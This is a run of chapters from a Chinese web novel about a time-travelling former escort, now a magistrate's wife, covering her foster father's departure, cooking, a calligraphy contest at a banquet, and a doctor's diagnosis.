“呃,老庄就是这样,不要见怪,他只是惊讶你送的礼太多。”不知道为什么,现在这个情形下,陆笙觉得自己说话有点不好意思。 “这是什么茶?”崔息反问起茶。 “这是珠闽一带的岩茶,喝起来有些像仙崖石花与方山露芽,若是崔郎吃过龙眼干,那这茶香与此相似。”陆笙看崔息对着茶左右看以为他是要寻调料,譬如盐、胡椒、薄荷之类。 崔息像知道她疑问似得喝了一口,他说:“闻其香,确实如此。” 陆笙心想崔县令还是给面子的,今天她的衣服熏得像香水瓶打碎一样,再加上这壁炉烘烤,能闻出味道简直像是天方夜谭。 “真的?”陆笙起了戏弄之心。 “真的。”崔息说话爱看人眼睛,陆笙别开一些眼睛,再准备开口时老庄端着羊肉进来了。一块香木板子上放着一把大串羊肉。这羊肉是炭火烤制的,炼的是荔枝木炭,上面正在滋滋冒油,细微密集的炸油声带着孜然味扑面而来。 陆笙怕口味清淡的崔息不爱吃,更怕老庄心里不好受,立刻卖力介绍:“这可是好物,你看一块瘦肉搭配一块肥的,吃下去既不油腻又满口脂香,再配上这孜然,我保证好吃。” 崔息没有推辞,拿起一串细嚼慢咽,老庄看了笑得眼睛都眯起来,只是他动作太大又衰老发福,身上的衣服突然发出了尴尬的开裂声。 “我……我去正衣冠。”老庄飞快遁逃。 这样的速度陆笙看了都惊讶,她又偷笑一下,然后也拿起肉串啃咬一口。 羊肉鲜香带汁,很是味美。她轻轻舔了口上面的调料,发现里头还放了花椒粉,或许又加了许多其他的香料,这些粉末被羊油煎熬出诱人味道,把自己衣服上的味道都掩了过去。 陆笙吃着吃着有些想哭,因为花椒粉是老庄特地偏袒了自己的口味。真是的,也不知道是怎么,长这么大哭的次数全在这几日里了,她努力把眼泪眨下去,今天是该高兴的日子。 崔息从口袋里掏出一块帕子,上面绣着墨色兰花,清白分明如他一般。 “不了,指头上全是油腻,这样的好帕子沾了难洗。”陆笙推脱。 崔息却还是塞过来,说再好的东西也是给人用的。陆笙听了也不再扭捏,直接拿起来擦,可她擦完还不见老庄过来。 陆笙生出些担心,是不是他一个人处理羊肉弄伤了手?因为老庄年轻时一直在风沙干旱之地,到这里以后不适应便有了风湿的毛病,每次一痛起来就要吃很久的药。 “崔郎,我去看看老庄。”陆笙穿着金线滚边的绣花鞋,步履轻轻的不引人察觉。 走到厨间时,老庄果然在里面,但他正穿着旧袍子在里面哭,身高九尺的西域大汉拿着帕子擦眼泪,又擦得很小心,因为今天的胡子是叫人精心修剪过的,还抹了油。 陆笙不知道如何面对,贴着墙背过身去准备悄悄走回去,崔息却不知道何时跟了出来。 “阿乐?”崔息递过来询问的眼神,因为陆笙也哭了。 陆笙觉得有些难堪,这张脸是沈管事精心画的,描眉点唇现在被自己的热泪一冲全毁了,她用手遮住自己的脸说:“崔息,别看我。”语气是前所未有的强硬。 “好。”崔息转过身,手缓缓背过来,拿着一块帕子,修长的手指夹着手帕在他身后轻轻晃了晃,像是小狗摇尾巴。 陆笙被他逗笑了,又不好意思,刚才太想钻洞语气像发怒。 “你们快去吃羊肉串,冷了就不好吃 12. 第 12 章 《成为县令夫人以后》全本免费阅读 “阿乐,县令府门太重,不好关吧!”老庄解开毛披风和暖耳哈哈一笑。 陆笙手扣在蹀躞带上不说话,略带愤怒地看着他,却见老庄从怀里掏出一对金镯抛给过来,其中一只有花纹,另一只粗大些但无花纹。 “老庄,这是给我的嫁妆?”陆笙拿着金镯没有查看,只是问他。 老庄勒马却不下马,抓着缰绳摇头,又像是下了很大决心般讲:“这是小时候跟在你身边的镯子,本来是一对,我老庄卖了一只才开的镖局。我这辈子做得最好的事情就是靠镖局养大了你,阿乐,你从来都不欠我的!我知道你聪慧,不肯认我这个养你长大的外族汉子,但是我心甘情愿,别人说的都是狗屁。”老庄叹一口气。 陆笙不说话,只是抓紧金镯子。 “我要北上了,阿乐,好好保重。”老庄抓紧缰绳,身子伏低,准备发出。他又迟疑地看一眼陆笙,可陆笙低着头不知再想什么。 “驾!!”老庄一松缰绳,马蹄甩开瞬间飞奔出去好远。 陆笙跌撞出了门,她朝老庄大喊:“阿耶!!”但他的马太快,太快了,快到眼泪都来不及落下。 老庄曾说这是大宛名马,陆笙还说不可能,可如果不是名马怎么能跑这么快呢? 陆笙抓住金镯子,心里乱得很。谁叫她有二十多年的经历,也和现实的父亲不熟,她不知道良好的父女关系是怎么样的。 马蹄声还在回荡,陆笙忽然被人按到怀里,是老庄,他身上还带着浓重的三勒浆味道。 “我的好阿乐!!”老庄为这一句话涕泗横流。 “阿耶,为什么要离开永平?”陆笙已经在想怎么赚钱,四年后她一定可以让老庄去上京,甚至是回西域。 老庄刮去眼窝里的泪,拍拍阿乐的肩膀说:“我老庄要去上京闯一闯,我知道你不爱做县令夫人,可是我老庄在永平县赚不到钱,跟着上京的骆驼队或许有钱可以赚,阿乐不怕死,我老庄也不怕死,怕只怕活着的时候叫胆小给熬死!”他说得豪迈,面孔上透着坚毅。 是的,胆小的走不了镖,所以老庄不怕死。可是……可是陆笙怕他死了,甚至她都不知道为什么,只是一种内心的恐惧,明明现代时她还没有拥有过这样的感情,这样浓烈的亲缘牵绊。 “好,阿耶,我也会赚钱的,你一定要带我去西域吃肉,去看看绿洲。” “好阿乐,那里还有佛足大玉,还有梵语花香,阿耶到时候带你去看。”老庄的眼泪又流下来,“我就知道瞒不住阿乐,屋子一收拾你就全看出来了。阿乐,我的好阿乐,认你是我老庄高攀,你怕是什么高门家的,你的金玉一般人家没有……” “阿耶,别人不要我,我不赶着认别人。” “好阿乐,我得赶着夜出永平,后面天就要大雪了,你要穿得暖和一些。” “我是小火炉!阿耶,快走吧。”陆笙走了多年的镖,知道天气好坏对赶路的重要性。 “走了!”老庄翻身上马,这一次马儿慢腾腾得走,他边走边回头,直到夜色吞没一人一马,一声鞭响才破空传来。 眼泪被北风吹干,干涸在脸上生疼,陆笙不敢擦,匆忙到厨间舀了热水洗去。 阿灵和阿椒还没熄灶,在厨间说悄悄话,看到陆笙来马上围过来。 陆笙想笑,可面皮给冷风吹紧了,她就问:“没人吩咐下来做汤么?” 阿灵和阿椒摇摇头,陆笙没有思索太多,只说:“备些牛乳和米,我做道汤给崔郎送去。” “是,夫人。那这汤能给我们留一口吗?”阿椒好奇地问,以为是什么美味。 陆笙说:“这是解酒的呀,要喝给你舀出一碗。” 阿椒吐吐舌头说不了不了。 解酒汤煮得很快,陆笙又给他加了一些糖才端去房内。崔息支着头靠在凭几上休息,肤色上的红似乎是褪去了些。 陆笙想这三勒浆居然这样猛烈,还好自己没喝。 “崔郎?”陆笙试探性喊他一句,但他没动作。 放下碗,陆笙从袖袋里拿了一块老姜,她手用力一掰,生姜的辛辣立马散发出来,用手指涂了姜汁在他鼻尖晃一晃,崔息似嗔地“嗯”了一声。 “崔郎,喝药。” 陆笙声音轻柔,但说出口她这个脑子就在回荡某郎喝药的梗,网络害人啊,几十年了还记着这些洗脑的梗。 “陆笙,你回来了?你又哭了。”崔息努力抬起头对着她的脸伸出手,捧水似得动作,但快接触到的时候他又躲开,好像她的脸是什么烙铁,烫手。 “你酒量不行就少喝一些。”陆笙哭笑不得,虽然喝醉了眼神倒还不错,古代人果然没有近视眼。 崔息摇摇头,换了极其认真的神情,他说:“陆笙,三勒浆是我最爱喝的酒。” “可是你以后要出家,出家人不能饮酒,还是早些戒了吧。” “是,我要戒了。陆笙,你说我要出家,那你要出家吗?”崔息眼尾泛红,眼睛里有些氤氲的情感,看不清晰。 “我为什么要出家?”陆笙心想你真是天才在左疯子在右,你在中间,把自己当天子了? 崔息认真地抿了抿嘴,脸上是很极力思考的神情,但似乎脑内空空如也,手举起来半天才开始说话。 “因为你离开了家,你也没有家里人,你不就是出家了么?” “歪理,快喝醒酒汤!”陆笙不想和他掰扯,语气有些凶。 崔息委屈似得低一低头,然后拿起碗把醒酒汤喝下去,一口又一口直到喝见底。 “好,喝完再睡一觉,睡一觉就好。”陆笙伸手给他脱外衣,但崔息却摆摆手,自己把衣服鞋子脱了,睡到床上还盖了被子。 还行,比较省心。 这时候时间没那么晚,就是一通忙活她也有些疲累,梳洗完立刻躺倒。 再醒来下意识去摸了摸身边床铺,熟悉的温热,崔息大概又起得比鸡早已经去了衙门。 “阿乐?你醒了?” 崔息的声音不再带着醉酒时的迟缓,而是如从前一般吐字清晰,平静宁和。 陆笙揉揉眼睛,刚起床忘了礼节,直接喊了他的名字问:“崔息?你怎么今天还没走!” “今日休沐,我自然在家。” 胡说,想不到崔息这样的人也会说谎话,他之前哪在家?陆笙第一反应是这个,第二反应是有技巧地刷好感:“吃了么?” “还没有,刚沐浴完,你想吃什么?” “你要给我做朝食么?”陆笙得寸进尺。 崔息为难,他只知道吃,不知道如何做,偏头想了想问:“听同僚说永平镇有一家鸡汤馄饨味道很好,馄饨皮爽滑,肉馅鲜美,若阿乐愿意,我们一起去吃?” “好啊,永平镇的吃食吧花样不多,但不好吃一般开不下去。” 崔息疑惑:“阿乐没有吃过么?” “没有,赚钱的人一般不舍得花钱在外面吃。” “那昨日……”崔息想到那烤羊肉和三勒浆。 陆笙笑眯眯地说:“应当的,阿耶疼我,很是看重这桩婚事。” 崔息琢磨着“阿耶”两个字,再抬头发现帷 13. 第 13 章 《成为县令夫人以后》全本免费阅读 可当日晚,陆笙就和那谢家小娘子隔桌对坐在宴会。四周的人陆笙都不认识,只面熟,自己曾在她们手上接过些货物。 吃完饭后,一行人又换了一间灯火如昼的宽阔大室,里面不知烧的什么炭,有淡淡的香味。她们脚下的地板光洁,四周的淑女都是体态婀娜衣带飘飘,恍若仙子,陆笙一边欢喜一边发出社畜被迫应酬的哀嚎。 这是陆笙第一次以县令夫人的身份参加本县乡绅的宴席游乐。当然,她以前就没参加过,只有村社丰收时蹭过人家的流水宴。 陆笙看那谢家小娘子,头上戴着一支飞鸟金钗,鸟的眼睛镶着黑曜石,在烛火映照下栩栩如生精巧绝伦。发现陆笙在看自己,谢卉真粉面一别,唇角向下露出些不屑。 敌对意味这么浓?也是,也是,利益相关、 其实今天崔息给自己递帖子的时候她就觉得不妙,竹简上那红色的篆字就是一个“谢”,但本县姓“谢”的人不少,谢家本就是相当有名望大族,这好几个谢府呢,哪能就这么巧遇到谢小娘子。 这时候陆笙脑内忽然闪过一个细节。她想起谢小娘子婢女手里的檀木盒子,上面印的首饰店铺的商号。 一位闺秀小姐,急不可待地要去取首饰,那或许是有要见的人,又带着婢女说明家里也知道,就肯定不是什么私情私会。 陆笙习惯性推衍,可就是知道有她也避不开呀!支楞起来,拿崔县令发的俸禄就要干活的,可恶,穿越了没带什么金手指,内耗倒是没少拿。 “来来来,各位小娘子想玩什么?”一个坐在主位的妇人笑问,她应当是宴上年岁最长的那一位,可能是今天宴请者的夫人,其实这人际关系陆笙还没背下来,当时光盯着人家的菜了。 金齑玉鲙在谢家并不稀奇,稀奇的是桌面上的水牛肉还有青羹。青羹在现代又叫牛瘪汤,它本身已极具冲击力。 陆笙曾听说这道菜颇有含义,因为它有试探宾客心思的意思,若是你吃下去那就是交好,不吃就是对主人家有猜忌之嫌[1]。 可崔息是上京来的,而且信佛,这道菜味道可不小!以及,北边哪有明晃晃吃牛的?又观座上谢家人也都面露难色,不知道在搞什么。好在陆笙不忌口,让旁边的婢女盛了一碗又一碗。 “县令夫人,您想玩什么?”忽然那位妇人就点到了自己。 陆笙对这猝不及防的点名愣了一下,虽然大脑告诉她自己就是县令夫人。 谢卉真趁机取笑她:“走镖的人知道什么?怕连字都写不利索吧?”说完痛快得笑起来。 “卉真妹妹,别这样说。”有人劝她。 “等你们的婚姻大事被一个不相干的,连我府里粗使丫头都不如的人抢了你们就知道了!!我说说能让崔县令娶我吗?说说怎么了?”谢卉真脸上露出一丝怨恨。 好激烈的小娘子,陆笙没想到她会直接说出来,真是恨得光明正大,挺有魄力的。 “谢小娘子想玩什么?”陆笙看着她问。 “我?哼,我最不擅笔墨之道,就用此与你消遣消遣。” 糟糕,谢卉真这盲选还真选到她不擅长的事儿上了。但陆笙没有迟疑,答应下来,反正来都来了。伸头一刀,缩头一刀呗。 周围一些小娘子声如莺啼,窃窃私语。陆笙听到谢卉真其实于书法颇有造诣的,怎么这样诓骗县令夫人呢?又有人说可惜她是女子假以时日更上层楼,一字说不定也能换一贯铜钱。 那位主座的夫人见她同意便吩咐人下去准备。 陆笙看到谢家婢子来的时候眼睛发直,居然都是拿着绢帛来的。 陆笙有点不好意思,本来一匹能卖好几十贯的东西,被自己这么一写,直接就是跳楼价。 “县令夫人,我听说崔县令书画甚佳,名寺都求他一笔,那我们今天就写经,写《金刚经》最有名的两句,如何?县令夫人不会连经书也背不出吧?” 陆笙的迟疑被谢卉真看在眼里,她不再多言,直接提笔书写起来,不给她反悔的机会。谢卉真的笔法熟稔老道,字也一直是同辈娘子里最好的! 谢卉真对这件事已经忍了很久,情绪倒腾,她的笔势如破竹,无比快意,字也体排布错落,灵活生动。 她今天就要这个抢了自己夫君的女人丢尽脸面,明明自己可以嫁给崔县令的。他那样朗月清风的俊才配这个粗人太可惜! 而且他们能有什么话呢?!她今天亲眼看到的,吃一碗馄饨崔息都要走开,所以凭什么!崔县令应该属于自己! 陆笙拿着笔,在旁边一笔一画地写,有些小娘子向她轻轻摇头或急急摆手,示意她写错了,她只是报之一笑。 谢卉真写的是草书,一笔到底几无滞碍。她放下笔,指尖有一些墨色的点子,她皮肤白皙看上去如同墨雨,素淡之间却也因她风姿生了些雅趣。 今日情绪排山倒海而来,字的气象承袭了这种状态,明明是佛经却被她写得如汤镬中的沸水,像是劝导地狱苦海之中的执迷不悔者。谢卉真自己都要被自己的字折服了,这是很难拥有的状态,堪称现今最完美的一次。 其他小娘子看着她的字也纷纷夸奖。 放下自己的字,谢卉真又去瞧陆笙写得如何,一入眼她就笑了,倒不是她的字,而是她竟然连《金刚经》也背不出,最有名的那一句岂是这句?真是笑话,但她没有动作,只是等她写完,准备到时候连人带字都狠狠数落她一番。 陆笙写完时大家都在围着谢卉真的字迹观看。 “写完了?”谢卉真可是一直注视着她的动向。 陆笙点点头说:“我也写完了。” 胜负几乎不用人去区分,陆笙的字草率得很,笔画僵硬结构松散,连九岁小儿都不如。 谢卉真这时候又不觉得痛快了,还没踩够,陆笙看起来脸不红心不跳,脸皮厚如墙,她要替崔息教训一下这个粗妇。 “哼,也不知道你这粗妇用的什么手段,连《金刚经》都背不出的人嫁了崔县令!若我是你早寻摸个地洞钻进去了,哪到现在还不痛不痒站在这里!” 陆笙反问她:“这句‘庄严佛土者,即非庄严,是名庄严’不是经书里的么?” 谢卉真写的是那句“凡所有相”起头的,吹一吹墨痕,再将帛拎起来给陆笙看,她说:“是,可我说的是最有名的!算了,知解其意也是难为你这样的粗妇。” “《金刚经》意欲何为?”陆笙请教似得问谢卉真。 “意欲何为?哼,你倒是问起我来了,那我就给你解释吧。” 围观的小娘子有些捂着嘴笑,这县令夫人真是个镖师呐?竟然连这个都不知道,这下要出大糗事。 开始做主的妇人也没有阻拦,她对县令的婚事也不满,本来可以助力谢家,偏偏被这个镖师夺了运势,晦气。 “经书里都写了,凡所有相皆是虚妄,你所见的不过是虚妄,此为释家的空。”说到这里谢卉真又急急补一句,“你可莫要耍小聪明,说你字是虚妄,我字是虚妄,因为不必着相。这可是有目共睹的,你别想耍字词机巧!” 说完她冷笑,陆笙这个粗妇怎么能辩驳到这个地步呢?高看她的。又微微恼怒自己刚才又驳得太急,不然自己赢得一定更好看。 陆笙点点头,肃着脸沉思,心里却在笑,诶呀,辩论时候那招“偷梁换柱”又要拿出来。 “原来谢小娘子已明了,那经文先说‘庄严’后否‘庄严’,最 14. 第 14 章 《成为县令夫人以后》全本免费阅读 是秦厌!他配着剑又英武高大,在一众人里很显眼。 “笙姐姐,公子叫我等你,车就在那。”秦厌一如既往笑咪咪的。 陆笙听到他说“公子”心跳莫名快了一两拍,她摸了摸胸口疑心是不是今天的青羹有问题。 冷风一阵阵地刮,秦厌忽然看清了她脸上的异样,问她:“笙姐姐,有人为难你了?”他的剑噌的一下出鞘,剑锋锐利吓得附近仆役往车里缩了缩。 “我自己不小心擦碰的,不必太在意,走吧,我们回去。”陆笙瑟缩一下,自己逃出来太匆忙忘记带了披风,这宴会的衣服可当不得这湿寒刺骨的风。 “哦哦,快上车吧!”秦厌看出她冷了。 陆笙一步又一步走向马车,往常没觉得,今天觉得越靠近车心跳得越快,拨帘子的时候还重重跳了一记,但是车厢里并没有人,只有灯是点着的。 本来想问秦厌的,问他,崔息呢?他怎么没回来?但陆笙马上嗤笑一下自己,还真惦记上了?搭子估计在行酒令,这种试探性的应酬千方百计的,但都做官了,且受着吧。 随即她从怀里掏出沾染自己体温的木盒,准备看看里面是什么东西,会是赔罪的金子吗?也不像,掂量起来很轻。不过这木盒居然还是嵌了螺钿的,打磨的螺钿有一种珠光宝气的美丽。 马车慢悠悠地行驶起来,陆笙打开盒子,里面有一张纸条,是一则几个字的致歉,字写得龙飞凤舞不是谢卉真又是谁? 陆笙轻轻嗅了嗅,又用指腹温度化了些膏体涂在手臂,这里面应该是什么生肌化疤了良药,但她们刚吵过架,她也不敢贸然涂脸上,姑且先试一试手臂上那条细疤吧,最近才完全脱的痂。 这个时代的车是没有垂足而坐的木板的,所以她只能正坐,也就是跪坐。但又没人,陆笙干脆半躺着了,反正宽敞的。 “咕—” 她的肚子发出了尴尬的叫声。只能说谢家的碗实在是小,夹几筷子就一碗没了,她又不爱吃生的莫猜鱼,虽然说鲜甜,但她更爱熟的鱼。清蒸、炭烤、红烧、腌制甚至用徽州的臭鳜鱼法给它臭一臭也未尝不可。 牛瘪火锅倒是新鲜,就是第三碗以后别人的目光就时不时往她这看,避免给搭子拆台,她选择忍耐,吃小小一块古楼子。 古楼是子面与肉馅层叠交错的食物,但谢家的古楼子用的不是羊肉馅而是猪肉馅,肉似乎是提前处理过的,她一口没有完全尝出来,想吃第二口的时候盘子已经撤下,换了其他菜肴。 腹内饥饿时间就难捱,陆笙感觉这一路变得好漫长,轮毂声在自己耳边转动,三尺之下是土地,也不知道老庄现在到了哪里。鼻腔猛然冲上的酸涩让陆笙下意识大口呼吸,枕着的软垫上有檀香气,冲淡了一些波澜心绪。 用食指侧边轻轻压一压泪花,不然沈管事亲自上手倒腾半天的妆又要晕染开。 车还在继续行驶,陆笙撩开厚重的帘子,却看到外面景色殊异。不对,这不是回家的路,心情如冰水浇头立刻警惕起来。 “秦厌,我们是去哪里?”她冷静开口问赶车的人。 秦厌语气疑惑:“公子没和笙姐姐说么?我们当然是去县衙,等去了再说,现在说话好冷啊!”他牙关颤颤,声线都有了些变化。 “好,去了再说。”陆笙松了气,暗暗骂了搭子几句。 到县衙门口,陆笙跟着秦厌下来。 秦厌却讲说:“不是这里,我是给汤伯送些东西。” “不能进么?坐久了想松快一下。”陆笙没有上车的意思。 “那当然可以,笙姐姐请!”秦厌笑嘻嘻地伸手,自己则从车的不知哪个暗格里拿出几个卷子。 县衙是有些老旧的砖瓦房,两边的镇石是龇牙的大狮,但可能雕刻的匠人根本没见过狮子所以一点也不威风,反倒有些滑稽。 两边的槐树倒是很大了,走进去还有些海棠、梧桐,风灯摇曳树影蹁跹,陆笙不能看清晰。 两个人边走边说话,秦厌告诉陆笙,原来是沈管事算了黄道吉日,要赶工把家里先修缮起来,木匠已经将大柱等木材修整好。 陆笙当时还想管一下,结果发现沈管事的经验老道,又实在火急火燎,一天一个大进度,自己完全不懂,贸然伸手恐怕只会平添几分嫌恶,便作罢。而且这事沈管事真的异常上心,又是算黄道吉日还要找开光加持。 也不知自己那屋还能建成么?陆笙心里浮现一丝惆怅。 “笙姐姐,你在这等我一会儿,我把卷宗送进去就走。”到了一间屋子附近,里面有昏昏的灯,里面是谁看不清,但小炉子咕嘟咕嘟的沸腾声陆笙却听到了,肚子立刻发出一声提醒,陆笙尴尬移开几步。 如秦厌所言,他是走进去就走出来,上车之前陆笙问:“去的地方可以做菜么?” “可以啊,笙姐姐要做什么?赏我一碗!”秦厌来了兴致,眼睛都亮起来,看来最近没有吃到可口的饭菜。 “过去看。”陆笙也不知道那有什么,但愿不是西北风炒东北风。 这一段车程很短,好像就是从大门换到了一条巷子然后进的侧门。陆笙跟秦厌走进去,灯都是亮着的,一个小小的院子加几间屋,院子里种了好几棵桂花树。 陆笙走到厨间看了看,里面就几个鸡蛋,甚至柴火也是缺的,炭火倒是不少。 “刚才你的同僚在煮什么?”陆笙问秦厌。 “豆腐面蘸酱油,十分清淡,不好吃。”他蹙眉,似乎是吃过。 陆笙让秦厌去讨要一些面,然后再拿几根柴火,如果能要来一些小葱和酱油那再好不过。她去厨间烧水洗锅子,一个煮面,一个用来做水煮蛋。 秦厌回来得很快,他说这里走小门可以直接去县衙的,刚才是赶车不便。 “笙姐姐,汤伯也想尝尝你的手艺,嘿嘿。”他不好意思地抓抓头,因为他常常跟汤伯说笙姐姐做菜好吃。 “好,那我先做一碗,你送过去,等你回来面就好了。”陆笙拿筷子在已经沸腾的水里搅动,把蛋打进去,又拿出一个碗擦了擦,放入小葱、酱油和一点猪油,葱只取翠绿鲜艳的部分。 “他吃不吃葱啊?”陆笙想到搭子的挑剔。 “吃,怎么不吃,他说他是老饕,什么都敢吃一吃。” “那就好。”陆笙安心了。 她把水煮蛋拿勺子小心盛出来卧在碗底,面已经下入沸腾的滚水了,这锅很深,适合下面,她加了三次冷水,长筷子在水中左右一搅动,然后忽然伸筷子挑出来,面在碗里以不可思议的整齐模样排布着。 陆笙又舀几 15. 第 15 章 《成为县令夫人以后》全本免费阅读 技多不压身,陆笙是这样想的。 就是崔息给了她一本自己抄写的《金刚经》是什么意思?是托大还是一时没有碑拓? 可人家的字又确实好,气韵流畅力透纸背。虽然没有银钩铁画那么锋芒十足,但结构稳当很耐琢磨。 其实大学时候陆笙选过书法当选修课,但老师讲得太好,导致课堂被挤满,她就不愿再去了,因为课前的喧闹和蝉声能让她归西。 当然,后来那门课果不其然地挂了,自己的作业衬托得别人像书法家转世。陆笙不得不安慰自己,这也是个功劳,别人走红毯,自己成为红毯。 “娘子,阿郎今日还是不来吃午膳。”阿灵敲敲门进来禀报。 陆笙习惯了,只点点头继续写字。 阿灵站在旁边轻声问:“娘子,阿郎不是有名的书家么?为什么不让他教你?” 陆笙没抬头,继续琢磨“经”字的结构和笔画,话却接上,她说:“教了,这不是还得自己写么?总不能让他捉我的手去写,那写出来的还是他的字。” 说的时候脑子里又脑补自己教崔息炒菜,噗嗤一下笑出来。 其实崔息教得还是很认真的,他示范了行、草、隶、楷四种书体,每一种书体还写了两到三种风格的字体。 “想学哪一种?”那天他问的时候已经沐浴完毕,精神比推门时振奋不少。 陆笙问:“可以随便选么?”选修课老师说可以随便选,只要喜欢就行,不知道崔息这里是什么说法。 崔息捏着湘妃竹的笔管,指节分明,听了陆笙的话放下笔,略思索一下道:“都可以,若有喜欢的便选喜欢的,若无喜欢的就选顺眼的。” “那顺眼的都没有呢?”陆笙打破砂锅问到底。 “那就从楷书学起。” “我还以为你要说‘那就别学了’。”陆笙打趣。 “自己独创一种也可以。”崔息说出了一个听起来更加阴阳怪气的回答。 最后陆笙还是选择了楷书偶尔临摹一下隶书,因为它们更贴近简体。行书基于楷书,对她来说难度加高了些,而草书不仅要龙飞凤舞跟特种兵旅游一样倏忽来去,还要记字体,太容易厌学。 选完陆笙又问他是几岁开始写字的,居然精通这么多种字体。 崔息说三岁。 陆笙心想你爹妈真是鸡娃呀,三岁开始就写毛笔字,看这体格不会还开始练武学其他吧? “阿乐呢?你是什么时候开始想走镖的?”崔息放下笔,指尖在清水里晃动然后拿布巾擦拭一番。 “五岁。”陆笙也只能说这里的年龄,加上另一世得有个三十岁,现在她的灵魂已经有四十多年的人世经历,按理说是该“不惑”了,可是她还是充满疑惑,愚笨呀。 讲的时候案上的博山炉还在生烟,现在烟却已熄灭,陆笙又仔细捋一下时间,原来是前天的事。真是恍惚了,她现在好像闷得难受,也好想出门,好想干点别的,但现在全县的人几乎都认识她,很难自在。 陆笙忽然放下笔,向阿灵请教怎么点香,据说这事为进崔府的必修课,沈管事亲自培训的,还教了他们如何辨认府内的几种香丸。 “沈管事说阿郎爱香,也要闻香助眠,所以每人都要学。” 这事陆笙第一次知道,还以为他是天选社畜,原来是睡眠障碍吗? 又写了几个字,午饭就到了,陆笙的肚子很准时。今天她做了美龄粥。不知为何,住在这里以后不知怎的胃口不大好。 阿灵从不肯和她一起吃饭,她也不勉强,这心情有一部分大概员工不爱和老板一起吃饭差不多,她理解。 独自搬了个月牙凳坐在庭院,在冷冷的空气里,手上这一碗粥的温度变得十分宝贵,陆笙把自己的脸也贴上去,暖和温度让她左右脸冷热不均。 瓷勺轻舀,香滑柔顺的粥顺着勺子落到舌尖,咽下去的时候抬头,原来鲁迅说的是真的,这样房子看出去就是四角的天空。 自己像井底之蛙,大脑像是触发了什么关键词一样跳跃到:或许井底之蛙比自己看到的大一些,因为半径相同,井底是圆形。 这么狂乱地想着,陆笙吃掉了小半碗的粥,冷风过来时忽然激灵了一下。 自己身上怎么有忽如其来的丧气?退! 看来今天必须稍微活动一番,或者思考一下小屋的建设与用途,不能因为可能没有机会而放弃。陆笙左手握拳,自己“嗯”了一声以示激励,又劝自己,起起落落落落落实在人生常态。 县衙中午便放衙,下午应该闭了门,陆笙想白天去看看。看看古代县衙到底长什么样,但是她运气不好,刚从小门跨出去就和一个头发有些花白的老者对上。 “县令夫人陆小娘子?” “汤伯?”陆笙猜了一个她唯一听过的名字。 “是我是我,昨日你的面真是味美,清新淡雅,特别适合夜里吃,好吃又不积食。这面是江南的做法,陆小娘子是江南道来的?”汤伯捋一捋胡子,摇头晃脑地说道。 陆笙眼睛一亮,行家呀,这是她从小吃到大的阳春面。 “此面是过江南时学的,烟花三月下扬州,这碗面在比扬州更南一些的苏湖地区。” “苏湖熟,天下足。那里的鳝鱼、熏鱼、南风肉、青精饭、莼菜羹、鲈鱼脍、十月蟹、太湖虾都是珍馐,吃得老夫流连忘返呐。”汤伯一下报出长的菜名,陆笙听地心旌摇荡。没错,这就是自己的故乡味,以后还是回到苏湖去卜居。 “汤伯不愧为老饕!说起来那金秋的十月蟹与虾可以做一道虾蟹面,湖味之鲜,登峰造极也!” 陆笙的夸奖是真心的,小时候吃过的虾蟹面真真是鲜味十足。现在的不行了,试过几家都腥味重,可能因为以前的螃蟹是真生于斯长于斯的,后来的螃蟹可能就是过了一遍水,洗过以后别说大闸蟹的味道,就是太湖的水味也没了。 “陆小娘子深谙江南饮食之道,可惜来了这永平县,这永平县,害!”汤伯手一摆,略带些嫌弃的意味。 “莫猜鱼、乌头猪、鲜水芹也是好吃的,其他的嘛,得看爱吃糯稻还是麦子再配什么菜。” 陆笙猜汤伯的意思是北人因铜矿来此地也带来了饮食习惯,又因为地位高,导致本地风尚有些改变。现在永平县就处在不尴不尬的位置,有好吃的也有不好吃的。 “譬如这里的羊肉,白煮的味道其实不如红烧的,炙烤固然好吃,但是本地人爱糯稻,炙烤却适合配小麦的面饼。”陆笙举例子。 “陆小娘子应做个食店!”汤伯双手一打,神情激动。但马上想到她是县令夫人,“随口一说,随口一说。” 陆笙怎么没想过开食店?但实施起来并不容易,尤其是永平县如今的饮食生意,除了嘉林馆尚且火爆,其他 16. 第 16 章 《成为县令夫人以后》全本免费阅读 请大夫这句话陆笙没放在心上,推脱以后自行处理。 没想到没过一会儿门外响起阿灵的声音。 “阿郎,张大夫来了!” 陆笙没太反应过来,怎么了张大夫就来了?她不是生理期么?崔息不知道女人生理期会流血这件事吗? 崔息去迎张大夫,陆笙东摸摸西看看,迷茫,太迷茫了。可看崔息的表情却很着急,不像是装的。 陆笙暗自吐槽了一下他的生理知识水平,你这可是进士及第的高知啊! 不过他的一番话让陆笙收回了这种表面印象。 “我母亲有一要好的姊妹,来月事必请大夫,这事马虎不得,恐伤及根本。” 崔息印象里福圣公主月事十分痛苦,母亲一些玩伴也是如此,常常要闭门不出,安静等待好些日子。虽然有上京一直流传着养生术可保月事不苦,但此为房中术且多半虚言,实在不好与陆笙提及。 张远清还是那般模样,鹤发童颜,花白的胡子没长也没短。 他为陆笙搭脉,五官时而紧皱时而舒展,最后“啧”了一声。这动静陆笙很熟悉,已经不在意。 “大夫,是有什么顽疾么?”崔息在旁边问。 “请明府出去,我有话要对夫人说。”张远清手搭在胡子上,表情凝重。 崔息点头,出门前看陆笙一眼,似是叫她安心。 “张大夫,没事吧?”陆笙也有点拿捏不准。 张远清叹了口气说:“你就是陆笙陆小娘子吧,老庄把你养大的是不是?” “是。”陆笙的面孔严肃起来,都提到老庄了,那必定是有比较重要的事情讲。 “我欠老庄一个人情,这事就当我还他的。”张远清站起来踱了几步,“我听闻早年你们去过苦寒之地,你还坠过一次冰窟。那件事或许为因,加上你这些年来,年年车马疲惫,频繁往返南北,身体内里渐渐亏虚,所以你是要不了孩子的。” 陆笙记得那年坠入冰窟的事。自己也是为抢货物,货物掉进冰窟窿里,她把东西捞上来的,所以不是坠,是她主动下去的。 掉的东西据说是公主从西域运回的一把宝刀,失了刀,大伙儿都得死,可进冰里也大概率活不成,谁愿意拿眼前的死去换刀? 陆笙不想与他们同罪,那时的她对任何犯罪缺乏想象力,只知道刀不能失,老庄和她还要运镖赚钱! 所以她就说自己年纪小身体轻,可以试一试。她当然也道那么薄的冰怎么可能不掉下去?只是没有路选了。 那时候老庄没在,回来以后骂他们都是畜生,再不同他们运镖。她记得那年自己十五岁,也是三十五岁。陆笙笑着跟老庄说美没事,而且死亡只是一瞬间的,但没钱果腹的煎熬却是漫长和痛苦的。 老庄愤怒得连她一起骂,又说她还是小孩儿不要装老成,她的命一点也不贱。 “可现在你又嫁给了这崔县令……”张大夫的声音把陆笙引回当前事。 